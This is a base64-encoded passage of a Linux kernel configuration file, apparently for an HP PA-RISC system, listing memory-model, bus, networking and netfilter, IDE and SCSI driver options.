UkNIX0RJU0NPTlRJR01FTV9FTkFCTEU9eQpDT05GSUdfQVJDSF9GTEFUTUVNX0VOQUJMRT15
CkNPTkZJR19BUkNIX0RJU0NPTlRJR01FTV9ERUZBVUxUPXkKQ09ORklHX1BSRUVNUFRfTk9O
RT15CiMgQ09ORklHX1BSRUVNUFRfVk9MVU5UQVJZIGlzIG5vdCBzZXQKIyBDT05GSUdfUFJF
RU1QVCBpcyBub3Qgc2V0CiMgQ09ORklHX0haXzEwMCBpcyBub3Qgc2V0CkNPTkZJR19IWl8y
NTA9eQojIENPTkZJR19IWl8zMDAgaXMgbm90IHNldAojIENPTkZJR19IWl8xMDAwIGlzIG5v
dCBzZXQKQ09ORklHX0haPTI1MAojIENPTkZJR19TQ0hFRF9IUlRJQ0sgaXMgbm90IHNldApD
T05GSUdfU0VMRUNUX01FTU9SWV9NT0RFTD15CkNPTkZJR19GTEFUTUVNX01BTlVBTD15CiMg
Q09ORklHX0RJU0NPTlRJR01FTV9NQU5VQUwgaXMgbm90IHNldApDT05GSUdfRkxBVE1FTT15
CkNPTkZJR19GTEFUX05PREVfTUVNX01BUD15CiMgQ09ORklHX0hBVkVfQk9PVE1FTV9JTkZP
X05PREUgaXMgbm90IHNldApDT05GSUdfUEFHRUZMQUdTX0VYVEVOREVEPXkKQ09ORklHX1NQ
TElUX1BUTE9DS19DUFVTPTQKIyBDT05GSUdfQ09NUEFDVElPTiBpcyBub3Qgc2V0CkNPTkZJ
R19QSFlTX0FERFJfVF82NEJJVD15CkNPTkZJR19aT05FX0RNQV9GTEFHPTAKQ09ORklHX05F
RURfQk9VTkNFX1BPT0w9eQpDT05GSUdfVklSVF9UT19CVVM9eQojIENPTkZJR19LU00gaXMg
bm90IHNldApDT05GSUdfREVGQVVMVF9NTUFQX01JTl9BRERSPTQwOTYKQ09ORklHX0NST1NT
X01FTU9SWV9BVFRBQ0g9eQojIENPTkZJR19DTEVBTkNBQ0hFIGlzIG5vdCBzZXQKIyBDT05G
SUdfRlJPTlRTV0FQIGlzIG5vdCBzZXQKQ09ORklHX0NPTVBBVD15CkNPTkZJR19TWVNWSVBD
X0NPTVBBVD15CkNPTkZJR19OUl9DUFVTPTMyCgojCiMgQnVzIG9wdGlvbnMgKFBDSSwgUENN
Q0lBLCBFSVNBLCBHU0MsIElTQSkKIwpDT05GSUdfR1NDPXkKQ09ORklHX0hQUEI9eQpDT05G
SUdfSU9NTVVfQ0NJTz15CkNPTkZJR19HU0NfTEFTST15CkNPTkZJR19HU0NfV0FYPXkKIyBD
T05GSUdfRUlTQSBpcyBub3Qgc2V0CkNPTkZJR19QQ0k9eQojIENPTkZJR19QQ0lfREVCVUcg
aXMgbm90IHNldAojIENPTkZJR19QQ0lfUkVBTExPQ19FTkFCTEVfQVVUTyBpcyBub3Qgc2V0
CkNPTkZJR19QQ0lfU1RVQj1tCkNPTkZJR19QQ0lfQVRTPXkKQ09ORklHX1BDSV9JT1Y9eQoj
IENPTkZJR19QQ0lfUFJJIGlzIG5vdCBzZXQKIyBDT05GSUdfUENJX1BBU0lEIGlzIG5vdCBz
ZXQKQ09ORklHX0dTQ19ESU5PPXkKQ09ORklHX1BDSV9MQkE9eQpDT05GSUdfSU9TQVBJQz15
CkNPTkZJR19JT01NVV9TQkE9eQpDT05GSUdfSU9NTVVfSEVMUEVSPXkKIyBDT05GSUdfUEND
QVJEIGlzIG5vdCBzZXQKIyBDT05GSUdfSE9UUExVR19QQ0kgaXMgbm90IHNldAoKIwojIFBB
LVJJU0Mgc3BlY2lmaWMgZHJpdmVycwojCkNPTkZJR19TVVBFUklPPXkKQ09ORklHX0NIQVNT
SVNfTENEX0xFRD15CkNPTkZJR19QRENfQ0hBU1NJUz15CkNPTkZJR19QRENfQ0hBU1NJU19X
QVJOPXkKQ09ORklHX1BEQ19TVEFCTEU9eQoKIwojIEV4ZWN1dGFibGUgZmlsZSBmb3JtYXRz
CiMKQ09ORklHX0JJTkZNVF9FTEY9eQpDT05GSUdfQ09SRV9EVU1QX0RFRkFVTFRfRUxGX0hF
QURFUlM9eQpDT05GSUdfQklORk1UX1NDUklQVD15CiMgQ09ORklHX0hBVkVfQU9VVCBpcyBu
b3Qgc2V0CkNPTkZJR19CSU5GTVRfTUlTQz1tCkNPTkZJR19DT1JFRFVNUD15CkNPTkZJR19O
RVQ9eQoKIwojIE5ldHdvcmtpbmcgb3B0aW9ucwojCkNPTkZJR19QQUNLRVQ9eQojIENPTkZJ
R19QQUNLRVRfRElBRyBpcyBub3Qgc2V0CkNPTkZJR19VTklYPXkKIyBDT05GSUdfVU5JWF9E
SUFHIGlzIG5vdCBzZXQKQ09ORklHX1hGUk09eQpDT05GSUdfWEZSTV9BTEdPPW0KQ09ORklH
X1hGUk1fVVNFUj1tCkNPTkZJR19YRlJNX1NVQl9QT0xJQ1k9eQpDT05GSUdfWEZSTV9NSUdS
QVRFPXkKIyBDT05GSUdfWEZSTV9TVEFUSVNUSUNTIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVU
X0tFWSBpcyBub3Qgc2V0CkNPTkZJR19JTkVUPXkKQ09ORklHX0lQX01VTFRJQ0FTVD15CiMg
Q09ORklHX0lQX0FEVkFOQ0VEX1JPVVRFUiBpcyBub3Qgc2V0CkNPTkZJR19JUF9QTlA9eQoj
IENPTkZJR19JUF9QTlBfREhDUCBpcyBub3Qgc2V0CkNPTkZJR19JUF9QTlBfQk9PVFA9eQoj
IENPTkZJR19JUF9QTlBfUkFSUCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JUElQIGlzIG5v
dCBzZXQKIyBDT05GSUdfTkVUX0lQR1JFX0RFTVVYIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVU
X0lQX1RVTk5FTCBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX01ST1VURSBpcyBub3Qgc2V0CiMg
Q09ORklHX0FSUEQgaXMgbm90IHNldAojIENPTkZJR19TWU5fQ09PS0lFUyBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9JUFZUSSBpcyBub3Qgc2V0CkNPTkZJR19JTkVUX0FIPW0KQ09ORklH
X0lORVRfRVNQPW0KIyBDT05GSUdfSU5FVF9JUENPTVAgaXMgbm90IHNldAojIENPTkZJR19J
TkVUX1hGUk1fVFVOTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9UVU5ORUwgaXMgbm90
IHNldApDT05GSUdfSU5FVF9YRlJNX01PREVfVFJBTlNQT1JUPW0KQ09ORklHX0lORVRfWEZS
TV9NT0RFX1RVTk5FTD1tCkNPTkZJR19JTkVUX1hGUk1fTU9ERV9CRUVUPW0KQ09ORklHX0lO
RVRfTFJPPW0KQ09ORklHX0lORVRfRElBRz1tCkNPTkZJR19JTkVUX1RDUF9ESUFHPW0KIyBD
T05GSUdfSU5FVF9VRFBfRElBRyBpcyBub3Qgc2V0CiMgQ09ORklHX1RDUF9DT05HX0FEVkFO
Q0VEIGlzIG5vdCBzZXQKQ09ORklHX1RDUF9DT05HX0NVQklDPXkKQ09ORklHX0RFRkFVTFRf
VENQX0NPTkc9ImN1YmljIgojIENPTkZJR19UQ1BfTUQ1U0lHIGlzIG5vdCBzZXQKIyBDT05G
SUdfSVBWNiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVFdPUktfU0VDTUFSSyBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVFdPUktfUEhZX1RJTUVTVEFNUElORyBpcyBub3Qgc2V0CkNPTkZJR19O
RVRGSUxURVI9eQojIENPTkZJR19ORVRGSUxURVJfREVCVUcgaXMgbm90IHNldAojIENPTkZJ
R19ORVRGSUxURVJfQURWQU5DRUQgaXMgbm90IHNldAoKIwojIENvcmUgTmV0ZmlsdGVyIENv
bmZpZ3VyYXRpb24KIwpDT05GSUdfTkVURklMVEVSX05FVExJTks9eQpDT05GSUdfTkVURklM
VEVSX05FVExJTktfTE9HPXkKQ09ORklHX05GX0NPTk5UUkFDSz1tCkNPTkZJR19ORl9DT05O
VFJBQ0tfUFJPQ0ZTPXkKQ09ORklHX05GX0NPTk5UUkFDS19GVFA9bQpDT05GSUdfTkZfQ09O
TlRSQUNLX0lSQz1tCiMgQ09ORklHX05GX0NPTk5UUkFDS19ORVRCSU9TX05TIGlzIG5vdCBz
ZXQKQ09ORklHX05GX0NPTk5UUkFDS19TSVA9bQpDT05GSUdfTkZfQ1RfTkVUTElOSz1tCkNP
TkZJR19ORl9OQVQ9bQpDT05GSUdfTkZfTkFUX05FRURFRD15CiMgQ09ORklHX05GX05BVF9B
TUFOREEgaXMgbm90IHNldApDT05GSUdfTkZfTkFUX0ZUUD1tCkNPTkZJR19ORl9OQVRfSVJD
PW0KQ09ORklHX05GX05BVF9TSVA9bQojIENPTkZJR19ORl9OQVRfVEZUUCBpcyBub3Qgc2V0
CkNPTkZJR19ORVRGSUxURVJfWFRBQkxFUz1tCgojCiMgWHRhYmxlcyBjb21iaW5lZCBtb2R1
bGVzCiMKQ09ORklHX05FVEZJTFRFUl9YVF9NQVJLPW0KCiMKIyBYdGFibGVzIHRhcmdldHMK
IwpDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9MT0c9bQojIENPTkZJR19ORVRGSUxURVJf
WFRfVEFSR0VUX05FVE1BUCBpcyBub3Qgc2V0CkNPTkZJR19ORVRGSUxURVJfWFRfVEFSR0VU
X05GTE9HPW0KIyBDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9SRURJUkVDVCBpcyBub3Qg
c2V0CkNPTkZJR19ORVRGSUxURVJfWFRfVEFSR0VUX1RDUE1TUz1tCgojCiMgWHRhYmxlcyBt
YXRjaGVzCiMKQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9DT05OVFJBQ0s9bQpDT05GSUdf
TkVURklMVEVSX1hUX01BVENIX1BPTElDWT1tCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hf
U1RBVEU9bQojIENPTkZJR19JUF9TRVQgaXMgbm90IHNldAojIENPTkZJR19JUF9WUyBpcyBu
b3Qgc2V0CgojCiMgSVA6IE5ldGZpbHRlciBDb25maWd1cmF0aW9uCiMKQ09ORklHX05GX0RF
RlJBR19JUFY0PW0KQ09ORklHX05GX0NPTk5UUkFDS19JUFY0PW0KQ09ORklHX05GX0NPTk5U
UkFDS19QUk9DX0NPTVBBVD15CkNPTkZJR19JUF9ORl9JUFRBQkxFUz1tCkNPTkZJR19JUF9O
Rl9GSUxURVI9bQpDT05GSUdfSVBfTkZfVEFSR0VUX1JFSkVDVD1tCkNPTkZJR19JUF9ORl9U
QVJHRVRfVUxPRz1tCkNPTkZJR19ORl9OQVRfSVBWND1tCkNPTkZJR19JUF9ORl9UQVJHRVRf
TUFTUVVFUkFERT1tCiMgQ09ORklHX05GX05BVF9QUFRQIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkZfTkFUX0gzMjMgaXMgbm90IHNldApDT05GSUdfSVBfTkZfTUFOR0xFPW0KIyBDT05GSUdf
SVBfTkZfUkFXIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBfRENDUCBpcyBub3Qgc2V0CiMgQ09O
RklHX0lQX1NDVFAgaXMgbm90IHNldAojIENPTkZJR19SRFMgaXMgbm90IHNldAojIENPTkZJ
R19USVBDIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRNIGlzIG5vdCBzZXQKIyBDT05GSUdfTDJU
UCBpcyBub3Qgc2V0CiMgQ09ORklHX0JSSURHRSBpcyBub3Qgc2V0CkNPTkZJR19IQVZFX05F
VF9EU0E9eQojIENPTkZJR19WTEFOXzgwMjFRIGlzIG5vdCBzZXQKIyBDT05GSUdfREVDTkVU
IGlzIG5vdCBzZXQKIyBDT05GSUdfTExDMiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQWCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0FUQUxLIGlzIG5vdCBzZXQKIyBDT05GSUdfWDI1IGlzIG5vdCBz
ZXQKIyBDT05GSUdfTEFQQiBpcyBub3Qgc2V0CiMgQ09ORklHX1BIT05FVCBpcyBub3Qgc2V0
CiMgQ09ORklHX0lFRUU4MDIxNTQgaXMgbm90IHNldAojIENPTkZJR19ORVRfU0NIRUQgaXMg
bm90IHNldApDT05GSUdfRENCPXkKQ09ORklHX0ROU19SRVNPTFZFUj1tCiMgQ09ORklHX0JB
VE1BTl9BRFYgaXMgbm90IHNldAojIENPTkZJR19PUEVOVlNXSVRDSCBpcyBub3Qgc2V0CiMg
Q09ORklHX1ZTT0NLRVRTIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUTElOS19NTUFQIGlzIG5v
dCBzZXQKIyBDT05GSUdfTkVUTElOS19ESUFHIGlzIG5vdCBzZXQKQ09ORklHX1JQUz15CkNP
TkZJR19SRlNfQUNDRUw9eQpDT05GSUdfWFBTPXkKQ09ORklHX0JRTD15CgojCiMgTmV0d29y
ayB0ZXN0aW5nCiMKIyBDT05GSUdfTkVUX1BLVEdFTiBpcyBub3Qgc2V0CiMgQ09ORklHX0hB
TVJBRElPIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0FOIGlzIG5vdCBzZXQKIyBDT05GSUdfSVJE
QSBpcyBub3Qgc2V0CiMgQ09ORklHX0JUIGlzIG5vdCBzZXQKQ09ORklHX0FGX1JYUlBDPXkK
IyBDT05GSUdfQUZfUlhSUENfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19SWEtBRCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1dJUkVMRVNTIGlzIG5vdCBzZXQKIyBDT05GSUdfV0lNQVggaXMg
bm90IHNldAojIENPTkZJR19SRktJTEwgaXMgbm90IHNldAojIENPTkZJR19SRktJTExfUkVH
VUxBVE9SIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUXzlQIGlzIG5vdCBzZXQKIyBDT05GSUdf
Q0FJRiBpcyBub3Qgc2V0CiMgQ09ORklHX0NFUEhfTElCIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkZDIGlzIG5vdCBzZXQKCiMKIyBEZXZpY2UgRHJpdmVycwojCgojCiMgR2VuZXJpYyBEcml2
ZXIgT3B0aW9ucwojCkNPTkZJR19VRVZFTlRfSEVMUEVSX1BBVEg9IiIKQ09ORklHX0RFVlRN
UEZTPXkKIyBDT05GSUdfREVWVE1QRlNfTU9VTlQgaXMgbm90IHNldApDT05GSUdfU1RBTkRB
TE9ORT15CkNPTkZJR19QUkVWRU5UX0ZJUk1XQVJFX0JVSUxEPXkKQ09ORklHX0ZXX0xPQURF
Uj15CiMgQ09ORklHX0ZJUk1XQVJFX0lOX0tFUk5FTCBpcyBub3Qgc2V0CkNPTkZJR19FWFRS
QV9GSVJNV0FSRT0iIgpDT05GSUdfRldfTE9BREVSX1VTRVJfSEVMUEVSPXkKIyBDT05GSUdf
REVCVUdfRFJJVkVSIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfREVWUkVTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU1lTX0hZUEVSVklTT1IgaXMgbm90IHNldAojIENPTkZJR19HRU5FUklD
X0NQVV9ERVZJQ0VTIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1BX1NIQVJFRF9CVUZGRVIgaXMg
bm90IHNldAoKIwojIEJ1cyBkZXZpY2VzCiMKIyBDT05GSUdfQ09OTkVDVE9SIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTVREIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFSUE9SVCBpcyBub3Qgc2V0
CkNPTkZJR19CTEtfREVWPXkKIyBDT05GSUdfQkxLX0RFVl9QQ0lFU1NEX01USVAzMlhYIGlz
IG5vdCBzZXQKIyBDT05GSUdfQkxLX0NQUV9EQSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19D
UFFfQ0lTU19EQSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfREFDOTYwIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQkxLX0RFVl9VTUVNIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9D
T1dfQ09NTU9OIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfTE9PUD15CkNPTkZJR19CTEtf
REVWX0xPT1BfTUlOX0NPVU5UPTgKIyBDT05GSUdfQkxLX0RFVl9DUllQVE9MT09QIGlzIG5v
dCBzZXQKIyBDT05GSUdfQkxLX0RFVl9EUkJEIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RF
Vl9OQkQgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX05WTUUgaXMgbm90IHNldAojIENP
TkZJR19CTEtfREVWX1NYOCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfUkFNIGlzIG5v
dCBzZXQKIyBDT05GSUdfQ0RST01fUEtUQ0RWRCBpcyBub3Qgc2V0CiMgQ09ORklHX0FUQV9P
VkVSX0VUSCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSEQgaXMgbm90IHNldAojIENP
TkZJR19CTEtfREVWX1JCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfUlNYWCBpcyBu
b3Qgc2V0CgojCiMgTWlzYyBkZXZpY2VzCiMKIyBDT05GSUdfU0VOU09SU19MSVMzTFYwMkQg
aXMgbm90IHNldAojIENPTkZJR19EVU1NWV9JUlEgaXMgbm90IHNldAojIENPTkZJR19QSEFO
VE9NIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5URUxfTUlEX1BUSSBpcyBub3Qgc2V0CiMgQ09O
RklHX1NHSV9JT0M0IGlzIG5vdCBzZXQKIyBDT05GSUdfVElGTV9DT1JFIGlzIG5vdCBzZXQK
IyBDT05GSUdfQVRNRUxfU1NDIGlzIG5vdCBzZXQKIyBDT05GSUdfRU5DTE9TVVJFX1NFUlZJ
Q0VTIGlzIG5vdCBzZXQKIyBDT05GSUdfSFBfSUxPIGlzIG5vdCBzZXQKIyBDT05GSUdfUENI
X1BIVUIgaXMgbm90IHNldAojIENPTkZJR19TUkFNIGlzIG5vdCBzZXQKIyBDT05GSUdfQzJQ
T1JUIGlzIG5vdCBzZXQKCiMKIyBFRVBST00gc3VwcG9ydAojCiMgQ09ORklHX0VFUFJPTV85
M0NYNiBpcyBub3Qgc2V0CiMgQ09ORklHX0NCNzEwX0NPUkUgaXMgbm90IHNldAoKIwojIFRl
eGFzIEluc3RydW1lbnRzIHNoYXJlZCB0cmFuc3BvcnQgbGluZSBkaXNjaXBsaW5lCiMKCiMK
IyBBbHRlcmEgRlBHQSBmaXJtd2FyZSBkb3dubG9hZCBtb2R1bGUKIwpDT05GSUdfSEFWRV9J
REU9eQpDT05GSUdfSURFPXkKCiMKIyBQbGVhc2Ugc2VlIERvY3VtZW50YXRpb24vaWRlL2lk
ZS50eHQgZm9yIGhlbHAvaW5mbyBvbiBJREUgZHJpdmVzCiMKQ09ORklHX0lERV9YRkVSX01P
REU9eQpDT05GSUdfSURFX0FUQVBJPXkKIyBDT05GSUdfQkxLX0RFVl9JREVfU0FUQSBpcyBu
b3Qgc2V0CkNPTkZJR19JREVfR0Q9bQpDT05GSUdfSURFX0dEX0FUQT15CkNPTkZJR19JREVf
R0RfQVRBUEk9eQpDT05GSUdfQkxLX0RFVl9JREVDRD1tCkNPTkZJR19CTEtfREVWX0lERUNE
X1ZFUkJPU0VfRVJST1JTPXkKIyBDT05GSUdfQkxLX0RFVl9JREVUQVBFIGlzIG5vdCBzZXQK
IyBDT05GSUdfSURFX1RBU0tfSU9DVEwgaXMgbm90IHNldApDT05GSUdfSURFX1BST0NfRlM9
eQoKIwojIElERSBjaGlwc2V0IHN1cHBvcnQvYnVnZml4ZXMKIwojIENPTkZJR19CTEtfREVW
X1BMQVRGT1JNIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfSURFRE1BX1NGRj15CgojCiMg
UENJIElERSBjaGlwc2V0cyBzdXBwb3J0CiMKQ09ORklHX0JMS19ERVZfSURFUENJPXkKQ09O
RklHX0lERVBDSV9QQ0lCVVNfT1JERVI9eQojIENPTkZJR19CTEtfREVWX09GRkJPQVJEIGlz
IG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9HRU5FUklDIGlzIG5vdCBzZXQKIyBDT05GSUdf
QkxLX0RFVl9PUFRJNjIxIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfSURFRE1BX1BDST15
CiMgQ09ORklHX0JMS19ERVZfQUVDNjJYWCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZf
QUxJMTVYMyBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfQU1ENzRYWCBpcyBub3Qgc2V0
CiMgQ09ORklHX0JMS19ERVZfQ01ENjRYIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9U
UklGTEVYIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9DUzU1MjAgaXMgbm90IHNldAoj
IENPTkZJR19CTEtfREVWX0NTNTUzMCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSFBU
MzY2IGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9KTUlDUk9OIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkxLX0RFVl9TQzEyMDAgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1BJSVgg
aXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0lUODE3MiBpcyBub3Qgc2V0CiMgQ09ORklH
X0JMS19ERVZfSVQ4MjEzIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9JVDgyMVggaXMg
bm90IHNldAojIENPTkZJR19CTEtfREVWX05TODc0MTUgaXMgbm90IHNldAojIENPTkZJR19C
TEtfREVWX1BEQzIwMlhYX09MRCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfUERDMjAy
WFhfTkVXIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9TVldLUyBpcyBub3Qgc2V0CiMg
Q09ORklHX0JMS19ERVZfU0lJTUFHRSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfU0xD
OTBFNjYgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1RSTTI5MCBpcyBub3Qgc2V0CiMg
Q09ORklHX0JMS19ERVZfVklBODJDWFhYIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfVEM4
NkMwMDE9bQpDT05GSUdfQkxLX0RFVl9JREVETUE9eQoKIwojIFNDU0kgZGV2aWNlIHN1cHBv
cnQKIwpDT05GSUdfU0NTSV9NT0Q9eQojIENPTkZJR19SQUlEX0FUVFJTIGlzIG5vdCBzZXQK
Q09ORklHX1NDU0k9eQpDT05GSUdfU0NTSV9ETUE9eQojIENPTkZJR19TQ1NJX1RHVCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfTkVUTElOSyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
UFJPQ19GUyBpcyBub3Qgc2V0CgojCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRhcGUs
IENELVJPTSkKIwpDT05GSUdfQkxLX0RFVl9TRD15CiMgQ09ORklHX0NIUl9ERVZfU1QgaXMg
bm90IHNldAojIENPTkZJR19DSFJfREVWX09TU1QgaXMgbm90IHNldApDT05GSUdfQkxLX0RF
Vl9TUj15CiMgQ09ORklHX0JMS19ERVZfU1JfVkVORE9SIGlzIG5vdCBzZXQKIyBDT05GSUdf
Q0hSX0RFVl9TRyBpcyBub3Qgc2V0CiMgQ09ORklHX0NIUl9ERVZfU0NIIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0NTSV9NVUxUSV9MVU4gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0NPTlNU
QU5UUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTE9HR0lORyBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfU0NBTl9BU1lOQyBpcyBub3Qgc2V0CgojCiMgU0NTSSBUcmFuc3BvcnRzCiMK
Q09ORklHX1NDU0lfU1BJX0FUVFJTPXkKIyBDT05GSUdfU0NTSV9GQ19BVFRSUyBpcyBub3Qg
c2V0CkNPTkZJR19TQ1NJX0lTQ1NJX0FUVFJTPXkKIyBDT05GSUdfU0NTSV9TQVNfQVRUUlMg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NBU19MSUJTQVMgaXMgbm90IHNldApDT05GSUdf
U0NTSV9TUlBfQVRUUlM9eQpDT05GSUdfU0NTSV9MT1dMRVZFTD15CiMgQ09ORklHX0lTQ1NJ
X1RDUCBpcyBub3Qgc2V0CkNPTkZJR19JU0NTSV9CT09UX1NZU0ZTPXkKIyBDT05GSUdfU0NT
SV9DWEdCM19JU0NTSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQ1hHQjRfSVNDU0kgaXMg
bm90IHNldAojIENPTkZJR19TQ1NJX0JOWDJfSVNDU0kgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX0JOWDJYX0ZDT0UgaXMgbm90IHNldAojIENPTkZJR19CRTJJU0NTSSBpcyBub3Qgc2V0
CiMgQ09ORklHX0JMS19ERVZfM1dfWFhYWF9SQUlEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9IUFNBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV8zV185WFhYIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0NTSV8zV19TQVMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0FDQVJEIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9BQUNSQUlEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9B
SUM3WFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSUM3WFhYX09MRCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfQUlDNzlYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDOTRY
WCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTVZTQVMgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX01WVU1JIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9EUFRfSTJPIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0NTSV9BRFZBTlNZUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQVJDTVNS
IGlzIG5vdCBzZXQKIyBDT05GSUdfTUVHQVJBSURfTkVXR0VOIGlzIG5vdCBzZXQKIyBDT05G
SUdfTUVHQVJBSURfTEVHQUNZIGlzIG5vdCBzZXQKIyBDT05GSUdfTUVHQVJBSURfU0FTIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0NTSV9NUFQyU0FTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9NUFQzU0FTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9VRlNIQ0QgaXMgbm90IHNldAoj
IENPTkZJR19TQ1NJX0hQVElPUCBpcyBub3Qgc2V0CiMgQ09ORklHX0xJQkZDIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTElCRkNPRSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZDT0UgaXMgbm90IHNl
dAojIENPTkZJR19TQ1NJX0RNWDMxOTFEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9GVVRV
UkVfRE9NQUlOIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9JUFMgaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX0lOSVRJTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSU5JQTEwMCBpcyBu
b3Qgc2V0CkNPTkZJR19TQ1NJX0xBU0k3MDA9eQpDT05GSUdfNTNDNzAwX0xFX09OX0JFPXkK
IyBDT05GSUdfU0NTSV9TVEVYIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfU1lNNTNDOFhYXzI9
eQpDT05GSUdfU0NTSV9TWU01M0M4WFhfRE1BX0FERFJFU1NJTkdfTU9ERT0xCkNPTkZJR19T
Q1NJX1NZTTUzQzhYWF9ERUZBVUxUX1RBR1M9MTYKQ09ORklHX1NDU0lfU1lNNTNDOFhYX01B
WF9UQUdTPTY0CkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9NTUlPPXkKIyBDT05GSUdfU0NTSV9J
UFIgaXMgbm90IHNldApDT05GSUdfU0NTSV9aQUxPTj15CkNPTkZJR19TQ1NJX05DUjUzQzhY
WF9ERUZBVUxUX1RBR1M9OApDT05GSUdfU0NTSV9OQ1I1M0M4WFhfTUFYX1RBR1M9MzIKQ09O
RklHX1NDU0lfTkNSNTNDOFhYX1NZTkM9MjAKIyBDT05GSUdfU0NTSV9RTE9HSUNfMTI4MCBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUUxBX0ZDIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lf
UUxBX0lTQ1NJPXkKIyBDT05GSUdfU0NTSV9MUEZDIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9EQzM5NXggaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RDMzkwVCBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1BNQ1JBSUQgaXMg
bm90IHNldAojIENPTkZJR19TQ1NJX1BNODAwMSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
U1JQIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9CRkFfRkMgaXMgbm90IHNldAojIENPTkZJ
